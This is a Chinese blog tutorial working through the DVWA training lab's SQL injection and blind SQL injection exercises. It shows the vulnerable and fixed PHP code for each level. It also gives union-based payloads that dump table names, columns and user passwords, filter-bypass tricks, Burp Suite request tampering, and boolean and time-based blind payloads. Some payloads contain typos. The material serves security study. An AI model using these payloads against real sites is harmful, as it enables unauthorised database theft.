DVWA-從入門到放棄之SQL Injection/SQL Injection(Blind)

SQL Injection

SQL語句基本知識

  • 因爲常見的注入類型爲數字型和字符型(根據查詢的字段值有無引號決定的)
  • 可經過a' or 1 = 1#或者a or 1 = 1#(a表示正確輸入的值,#爲註釋)來判斷注入類型。php

    • 若爲數字型sql注入,前者報錯或查詢不到數據、後者可能查詢到全部結果
    • 若爲數字型sql注入,前者可能查詢到全部結果、後者報錯或查詢不到數據
  • 將兩句payload帶入構造的sql查詢語句(以本實驗爲例,a用1代替)
  • 數字型:html

    select first_name,last_name from users where user_id = 1' or 1 = 1#
    #因爲是數字型。'user_id'的值沒有用''包圍,因此"1'"不能識別爲int型
    select first_name,last_name from users where user_id = 1 or 1 = 1#
    #where語句恆爲真(or後面的子句恆爲真),因此查詢的結果爲全部數據
  • 字符型:前端

    select first_name,last_name from users where user_id = '1' or 1 = 1#'
    #因爲是字符型。'user_id'的值用''包圍,且在sql語句中'#'爲註釋功能。故where子句中條件恆爲真
    select first_name,last_name from users where user_id = '1 or 1 = 1#'
    #因爲字符型查詢右引號缺失,致使報錯或查詢不到數據

Low

代碼分析


<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

代碼解析&自我理解:
  • isset()函數在php中用來檢測變量是否設置,該函數返回的是布爾類型的值,即true/false
  • query變量爲直接構造的sql查詢語句,沒有對用戶的輸入進行任何的過濾,致使sql注入的存在。
  • result經過mysqli_query()函數獲取數據庫查詢的結果集。die()函數表示鏈接數據庫失敗退出當前腳本。$GLOBALS["___mysqli_ston"]表示數據庫的鏈接語句
  • mysqli_fetch_assoc($result)從結果集中取出一行做爲關聯數組,即列名和值對應的鍵值對。mysql

    • dvwa1.9中使用的是mysql_numrows()函數返回集行數給num(只對select語句有效)
  • 最後經過while判斷如有查詢結果且循環執行$row = mysqli_fetch_assoc( $result ),將結果集中每行結果對應的字段值賦值給相應的字段,並遍歷輸出。

介紹下手工注入的思路
  • 1.判斷是否存在注入,注入的類型是字符型仍是數字型(是否帶有引號)
  • 2.猜解sql查詢語句的字段數
  • 3.肯定顯示的字段順序
  • 4.獲取當前數據庫
  • 5.獲取數據庫中的表
  • 6.獲取表中的字段名
  • 7.下載數據

實際操做步驟

首先,咱們正常輸入User ID(1,2,3,4,5...)sql

clipboard.png
能夠看到輸入爲1的時候,有正常的輸入。此時sql查詢語句爲:數據庫

select first_name,last_name from users where user_id = '1'

可是做爲一名鍵盤DJ...平時的愛好就是唱、跳、rap、敲鍵盤。。。。數組

1.判斷是否存在注入以及注入類型

輸入1' or 1 = 1#安全

clipboard.png
能夠看到輸入爲1' or 1 = 1#的時候,返回了多個查詢結果。此時sql查詢語句爲:服務器

select first_name,last_name from users where user_id = '1' or 1 = 1#'
#在select語句中,'#'註釋掉後方單引號,因此where子句中"user_id = '1'"和"1 = 1"
#兩個條件經過or使得where子句恆爲真(至關於沒有查詢約束條件)

經過結果能夠知道存在字符型注入網絡

2.猜解sql查詢語句中的字段數以及字段排序

輸入:
1' or 1 = 1 order by 1#
1' or 1 = 1 order by 2#
1' or 1 = 1 order by 3#
...
此時,sql查詢語句爲:

select first_name,last_name from users where user_id = '1' or 1 = 1 order by 1#'
select first_name,last_name from users where user_id = '1' or 1 = 1 order by 2#'
select first_name,last_name from users where user_id = '1' or 1 = 1 order by 3#'
#在sql語句中'order by'子句的做用是根據指定的字段將結果集進行排序
#'order by'後面的內容能夠爲字段名也能夠爲數字,爲數字時表示默認的第幾個字段

因爲輸入1' or 1 = 1 order by 3#報錯,說明select的查詢字段只有兩個


輸入:
1' or 1 = 1 union select 1,2#或者1' union select 1,2#

此時,sql查詢語句爲:

select first_name,last_name from users where user_id = '1' or 1 = 1 union select 1,2#'
select first_name,last_name from users where user_id = '1' union select 1,2#'
#union操做符用於合併兩個或多個select語句的結果集
#union中select語句必須擁有相同數量的字段。字段也必須擁有類似的數據類型。
#同時,每條select語句中的字段順序必須相同,這樣就能夠經過'union select 1,2',返回的結果1,2的顯示順序判斷查詢字段順序

固然,也能夠直接輸入1' union select 1,2,...#來構造sql語句:

select first_name,last_name from users where user_id = '1' union select 1,2,...#'

一次性猜解select語句中的字段數以及字段排序

3.依次獲取數據庫、表、字段的名稱

輸入1' union select 1,database()#對應的sql查詢語句爲:

select first_name,last_name from users where user_id = '1' union select 1,database()#'
#由於union中select的字段數和順序都應相同,故需用select 1,database()中的'1'來補位,select database()就是查詢當前數據庫名
#此sql語句查詢的結果爲兩行結果,第一行爲union前的'正常'查詢結果,第二行中'first_name'列對應的值是1
#'last_name'列對應的值是數據庫名(database()的查詢結果)

clipboard.png

得到當前數據庫的名字爲'dvwa'


接下來就是獲取數據庫的表名以及字段名了,在操做以前先說下原理:
圖片描述

  • 在Mysql中有一個名叫information_schema的數據庫,裏面存放着關於數據庫的相關信息。在此數據庫中有兩個表:tables(表中有兩個字段table_name(表名)table_schema(數據庫名))和columns(表中也有兩個字段column_name(字段名)table_name)分別存放着Mysql中全部表名和字段名。
  • tablescolumns表中還有其餘字段,這裏列舉出兩個字段一個做爲查詢字段(select),一個做爲約束字段(where)。這樣就能夠查詢到相應數據庫中的表名,以及相應表中的字段名。

在輸入框中構造sql查詢語句,輸入:

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()#

對應的sql查詢語句爲:

select first_name,last_name from users where user_id = '1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()#'
#union select後面的'1'仍是做爲補位補齊union先後select語句的字段數

上述sql語句可簡化爲:

select group_concat(table_name) from information_schema.tables where table_schema = database()
#首先group_concat()函數將多個字符串鏈接成一個字符串,以達到union字段數對應。
#由於當前數據庫爲dvwa,因此用到information_schema.tables表示查詢的表是information_schema數據庫中的tables表
#database()表示獲取當前數據庫名(dvwa),也可直接寫'dvwa'

clipboard.png

獲得結果:dvwa數據庫中有兩個表:guestbook和users


查詢表中的字段(以users爲例),輸入:

1' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users'#('#能夠不要)

對應sql語句:

select first_name,last_name from users where user_id = '1' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users'#'

簡化sql查詢語句:

select group_concat(column_name) from information_schema.columns where table_name = 'users'
#找到information_schema數據庫中columns表中table_name='users'的全部字段。

clipboard.png

能夠看到users表中的字段分別爲user_id、first_name、last_name、user、password、...


4.獲取數據/下載數據(以users表中的user_id,first_name,last_name,password爲例)

輸入

1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users#

對應的sql查詢語句爲:

select first_name,last_name from users where user_id = '1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users#'

簡化語句:

select group_concat(user_id,first_name,last_name),group_concat(password) from users#'
#group_concat()中的字段名能夠根據本身想要查詢的字段隨意組合

clipboard.png

至此獲得了users表中全部用戶的user_id,first_name,last_name,password的數據,也能夠按照上述方法獲得其餘數據庫中其餘表中的其餘字段信息


自我延展:
輸入:
1' union select 1,group_concat(table_schema) from information_schema.tables
簡化後對應的sql語句爲:
select group_concat(table_schema) from information_schema.tables
#表示查詢Mysql中全部數據庫名

Medium

代碼分析


<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

相對於Low級別的代碼:

  • 添加mysqli_real_escape_string()函數對id中特殊字符進行轉義,包括(\x00,\n,\r,\,','',\x1a)
  • mysqli_fetch_row()函數返回SELECT COUNT(*) FROM users(查詢users表中總行數)?至今沒搞懂這三行代碼有啥用?

clipboard.png
同時在Medium級別中前端添加下拉選擇框限制用戶,這時候就用到Burp Suite抓包工具修改上傳數據

  • 將網頁代理以及burpsuite中proxy攔截設置爲同一地址

clipboard.png

clipboard.png

  • 將burpsuite中設置intercept is on在網頁前端選擇數據,點擊Submit

clipboard.png

  • 獲得抓包數據,將id的值改成sql注入經常使用payload:1' or 1 = 1#,點擊Forward

clipboard.png

  • 能夠看到網頁報錯,說明服務器端對特殊符號(')進行了轉義。那咱們就試試數字型注入。從新抓包構造payload:1 or 1 = 1,而後提交

clipboard.png

  • 能夠看到查詢成功且存在的sql注入類型是數字型
因爲是數字型sql注入,故無需輸入引號(特殊字符)。服務器端的 mysql_real_escape_string()函數就形同虛設了(故意的吧。。。)
接下來的操做步驟與Low級別一致,只是payload中無需加入 '#符號

若是這裏仍是字符型注入的話,解決方法和思路以下:
判斷其轉義的內容,能夠看到其在'前加了/
可採用漢字雙字節編碼其餘繞過技巧

總結SQL注入的繞過技巧

1.繞過空格:

1.使用()——在Mysql中,括號用來包圍子查詢,任何能夠計算出結果的語句,均可以用括號包圍起來。而括號的兩端,能夠沒有多餘的空格
select(column_name)from(table_name)where(column_name=value)
2.使用/**/——註釋符

2.繞過引號:

使用16進制:
select column_name  from information_schema.tables where table_name="users"
select column_name  from information_schema.tables where table_name=0x7573657273
通常在where子句中使用到引號,users的十六進制的字符串是7573657273

3.繞過逗號:

通常在substr()函數,limit中使用from...for
select substr(database() from 1 for 1);

4.繞過比較符(<>):

使用greatest()、least():(前者返回最大值,後者返回最小值)
沒繞過以前使用如下sql語句來判斷database()第一個字母的ascii碼值(二分法會用到比較符):
select * from users where id=1 and ascii(substr(database(),1,1))>64
不使用比較符:
select * from users where id=1 and greatest(ascii(substr(database(),1,1)),64)=64

...

High

代碼分析


<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}

?>

相對於Low級別的代碼:

  • 在High級別中$query查詢語句添加了LIMIT 1,但願可以控制只輸出一個結果
  • 然而#能夠將$id後面的代碼(' LIMIT 1)一併註釋掉。剩下的操做就和Low級別的一致了
  • 前端將輸入和結果顯示分爲兩個頁面(url),能夠防止常規掃描工具(如sqlmap)的掃描檢測??

象徵性依次寫一下payload:

1' or 1=1#

判斷是否有注入及注入類型

1' union select 1,2,...#`或者`1' or 1 = 1 union select 1,2,...#

判斷查詢字段數及字段順序

1' union select 1,group_concat(table_schema) from information_schema.tables

查詢全部數據庫名-自創

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()#

查詢當前數據庫中全部表名。能夠將database()改成其餘數據庫名(加引號),可查詢其餘數據庫中的全部表名

1' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users'#

查詢相應表中的全部字段,可將users改成其餘已獲取到的表名

1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users#

下載數據user_id,first_name,last_name,password都是users表中的字段


Impossible

代碼分析

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();

        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];

            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>
  • Impossible級別的代碼採用了PDO技術,劃清了代碼與數據的界限,有效防護SQL注入
  • 同時只有返回的查詢結果數量爲一時,纔會成功輸出,這樣就有效預防了"脫褲"
  • Anti-CSRFtoken機制的加入了進一步提升了安全性

clipboard.png


SQL injection(Blind)

SQL盲注與通常的注入區別在於通常的注入攻擊者能夠直接從頁面上看到注入語句的執行結果,而盲注時攻擊者一般是 沒法從顯示頁面上獲取執行結果,甚至連注入語句是否執行都無從得知,所以盲注的難度要比通常注入高。目前網絡上現存的SQL注入漏洞大可能是SQL盲注

注入思路以及過程:
由於盲注的返回結果有限(如是或不是),只有經過機械的詢問遍歷,最終得到想要的數據
過程與手工注入類似: 判斷注入存在及類型->猜解庫名->猜解表名->猜解字段名->猜解數據(沒法直接獲取其餘數據庫名)
盲注分爲 基於布爾的盲注基於時間的盲注以及 基於報錯的盲注

Low

代碼分析

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>
  • 能夠看到,與通常注入Low級別代碼比較:利用mysqli_num_rows()函數將結果集行數量返回給num
  • 如有查詢結果(num>0)則返回結果ID存在,不然返回ID不存在
因爲實驗環境限制(多是sql語句報錯在網頁中體現不出來,沒法判斷),故基於報錯的盲注沒法實施

基於布爾的盲注(用and構造其子句的真假來判斷查詢結果有無)

  • 判斷是否存在注入以及注入類型,注入payload及結果
  • (payload中的數字依次遍歷,如下僅展現正確的示例)
1——User ID exists in the database
   1' and 1 = 1#——User ID exists in the database(說明存在字符型sql注入)
   1' and 1 = 2#——User ID is MISSING from the database(代表sql注入爲盲注)
   1 and 1 = 1#——User ID exists in the database爲何結果顯示存在?

說明存在字符型SQL盲注

  • 猜解數據庫名,注入payload及結果

    • 猜解數據庫名長度
1' and length(database())=1#——User ID is MISSING from the database
1' and length(database())=2#——User ID is MISSING from the database
1' and length(database())=3#——User ID is MISSING from the database
1' and length(database())=4#——User ID exists in the database

構造的sql查詢語句爲:

SELECT first_name,last_name FROM users WHERE user_id = '1' and length(database())=1#'
#and語句鏈接的length(database())=1若是爲真,則返回and語句前的select查詢結果
#若是爲假,則返回結果爲Empty

length()函數做用是計算其參數(str類型)的字節數。結果說明當前數據庫名字符長度爲4個字符

    • 依次猜解數據庫名的字節(字母-通常經過字母的ASCII碼判斷),注入payload及結果:
1' and ascii(substr(databse(),1,1))=100#——User ID exists in the database
=可改成>,<符號,利用二分法猜解

構造的sql查詢語句爲:

SELECT first_name,last_name FROM users WHERE user_id = '1' and ascii(substr(databse(),1,1))=100#'
#在這裏只分析and條件後面的語句ascii(substr(databse(),1,1))=100,由於當其爲真時會有查詢結果,爲假沒有結果
#substr()函數截取字符串,第一個參數爲被截取的字符串,第二個參數爲起始字符,第三個參數爲截取長度
#ascii()就是計算其參數的ascii碼值經過二分法猜解數據庫名的每一個字母的ascii值

依次猜解就能夠得到數據庫名dvwa


  • 猜解表名

    • 猜解數據庫中表的數量,注入payload及結果
1' and (select count(table_name) from information_schema.tables where table_schema = database()) = 2#——User ID exists in the database
 或者
 1' and (select count(table_name) from information_schema.tables where table_schema = 'dvwa') = 2#——User ID exists in the database
 #說明dvwa數據庫中有兩個表

構造的sql查詢語句爲:

SELECT first_name,last_name FROM users WHERE user_id = '1' and (select count(table_name) from information_schema.tables where table_schema = 'dvwa') = 2#'
#其中(select count(table_name) from information_schema.tables where table_schema = 'dvwa') = 2爲真輸入結果
#COUNT(column_name) 函數返回指定列的值的數目
    • 猜解表名字符數量,注入payload及結果:
1' and length((select table_name from information_schema.tables where table_schema = database() limit 0,1)) = 9#——User ID exists in the database
或者
1' and length(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1)) = 9#——User ID exists in the database

構造的sql查詢語句爲:

SELECT first_name,last_name FROM users WHERE user_id = '1' and length((select table_name from information_schema.tables where table_schema = database() limit 0,1)) = 9#'
或者
SELECT first_name,last_name FROM users WHERE user_id = '1' and length(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1)) = 9#'
#(select table_name from information_schema.tables where table_schema = database() limit 0,1)就是第一個表名,能夠改變limit參數改變表名
#limit限制結果輸出,第一個參數是起始行(0表示第一行,依次遞增),第二個參數是數據數量(行數)
#substr在此處只有兩個參數(沒有限制截取長度),想必是將select語句結果轉換成str類型的吧
此處 select table_name from information_schema.tables where table_schema = database() limit 0,1的結果要用 ()才能將其轉換成 str類型。 length()、substr()函數參數都是 str類型。

length(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1))能夠去掉substr()這個沒用的函數0.0.多嵌套讀寫順序從裏往外

    • 猜解表名具體字母,注入payload及結果:
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) = 103#——User ID exists in the database
#說明第一個表名的第一個字符爲小寫字母g

構造的sql查詢語句爲:

SELECT first_name,last_name FROM users WHERE user_id = '1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) = 103#'

依舊採用二分法猜解表名其中一個字母的ascii碼值。改變limit後的參數以及substr()函數中的參數就能遍歷每一個表名中每一個字母
猜解出來的第一個表名字母依次是:g,u,e,s,t,b,o,o,k、第二個表名的字母依次是:u,s,e,r,s


  • 猜解表中的字段名(以users表爲例)

    • 猜解字段數量,注入payload及結果:
1' and (select count(column_name) from information_schema.columns where table_name = 'users') = 8#——User ID exists in the database
#說明users表中總共有8個字段

構造的sql查詢語句爲:

SELECT first_name,last_name FROM users WHERE user_id = '1' and (select count(column_name) from information_schema.columns where table_name = 'users') = 8#'
#count(COLUMN_NAME)計數依次增長直到爲真,因爲字段數通常不是不少,因此就不採用二分法判斷
    • 猜解字段名字符數量,注入payload及結果:
1' and length((select column_name from information_schema.columns where table_name = 'users' limit 0,1)) = 7#——User ID exists in the database
1' and length((select column_name from information_schema.columns where table_name = 'users' limit 1,1)) = 10#——User ID exists in the database
1' and length((select column_name from information_schema.columns where table_name = 'users' limit 2,1)) = 9#——User ID exists in the database
...
或者
1' and length(substr((select culomn_name from information_schema.columns where table_name = 'users' limit 0,1),1)) = 7#——User ID exists in the database
...
#依次猜表中每一個字段字符數量(第一個字段字符數爲7(user_id),(第二個字段字符數爲10(first_name),(第三個字段字符數爲9(last_name))

構造的sql查詢語句爲:

SELECT first_name,last_name FROM users WHERE user_id = '1' and length((select column_name from information_schema.columns where table_name = 'users' limit 0,1)) = 7#'
    • 猜解字段名具體字母,注入payload及結果:
1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 0,1),1,1)) = 117#——User ID exists in the database
...

構造的sql查詢語句爲:

SELECT first_name,last_name FROM users WHERE user_id = '1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 0,1),1,1)) = 117#'
...
#第一個表名中第一個字母對應是u(u的ascii碼值爲117)

改變limit後的參數以及substr()函數的參數遍歷就可獲得users表中每一個字段中的每一個字母
至此獲得當前數據庫名爲dvwa,有guestbook和users兩個表。users表中有8個字段(分別有user_id,first_name,last_name,password...等字段)


  • 下載數據

基於布爾手工下載數據要下到明年......這裏總結下手工下載部分想要的數據。
好比我想知道first_name字段中有沒有'admin'數據,如有,找到'admin'對應的last_name

  • 判斷first_name字段中有沒有'admin'
1' and ascii(substr((select first_name from users limit 0,1),1,1)) = 97#——User ID exists in the database
1' and ascii(substr((select first_name from users limit 1,1),1,1)) = 97#——User ID is MISSING from the database
...
1' and ascii(substr((select first_name from users limit 0,1),2,1)) = 100#——User ID exists in the database
1' and ascii(substr((select first_name from users limit 0,1),2,1)) = 100#——User ID is MISSING from the database
...
...
#循環遍歷'admin'的ascii碼值和其餘字段對應字母的ascii碼匹配。上述結果說明'admin'存在first_name字段中,且默認爲第一條數據
  • 查找first_name = 'admin'對應的last_name
1' and ascii(substr((select last_name from users where first_name = 'admin'),1,1)) = 97#——User ID exists in the database
1' and ascii(substr((select last_name from users where first_name = 'admin'),2,1)) = 100#——User ID exists in the database
...
1' and ascii(substr((select last_name from users where first_name = 'admin'),6,1)) = 0#——User ID exists in the database
#說明last_name爲'admin',第六個字母ascii碼爲0說明爲null
在基於布爾的盲注過程當中:
猜解表(字段)數量、表(字段)字母數是爲了給猜解ascii碼環節中limit和substr()提供參數
能夠省略猜解 表(字段、數據庫)字母數直接上ascii碼——substr()參數由於 由0或1遞增到上限時,ascii碼爲0(null)
不能省略猜解 表(字段、數據庫)數量——limit參數,可能時由於獲取不到結果直接報錯了吧

基於時間的盲注(採用sleep()函數查看頁面返回結果是否有明顯的延遲)

  • 判斷是否存在注入以及注入類型,注入payloads及結果
  • (payload中的數字依次遍歷,如下僅展現正確的示例)
1' and sleep(5)#——有明顯延遲/User ID is MISSING from the database
1 and sleep(5)#——沒有延遲/User ID exists in the database
基於時間的盲注主要看有無延遲,其餘結果好像並不做爲依據

說明存在字符型的基於時間的盲注
對應的sql語句:

SELECT first_name,last_name FROM users WHERE user_id = '1' and sleep(5)#'
SELECT first_name,last_name FROM users WHERE user_id = '1 and sleep(5)#'

因爲步驟和基於布爾的盲注一致,下面直接上payloads:(頁面發生延遲說明if條件句中條件正確)

1' and if(length(database())=4,sleep(5),1)#
1' and if(ascii(substr(database(),1,1))=100,sleep(5),1)#
1' and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(5),1)#
1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1)#
1' and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1)#
1' and if(ascii(substr((select last_name from users where first_name = 'admin'),1,1)) = 97,sleep(5),1)#

總結:

基於時間的盲注比基於布爾的盲注多了個 if(),sleep(N),參數1
if()函數中的條件若是正確就執行 sleep()函數,若是錯誤就返回 1

Medium、High、Impossible級別的代碼限制條件和通常注入一致,注入思路過程和盲注中Low級別思路過程一致

圖片描述過段時間再總結基於報錯的盲注....

相關文章
相關標籤/搜索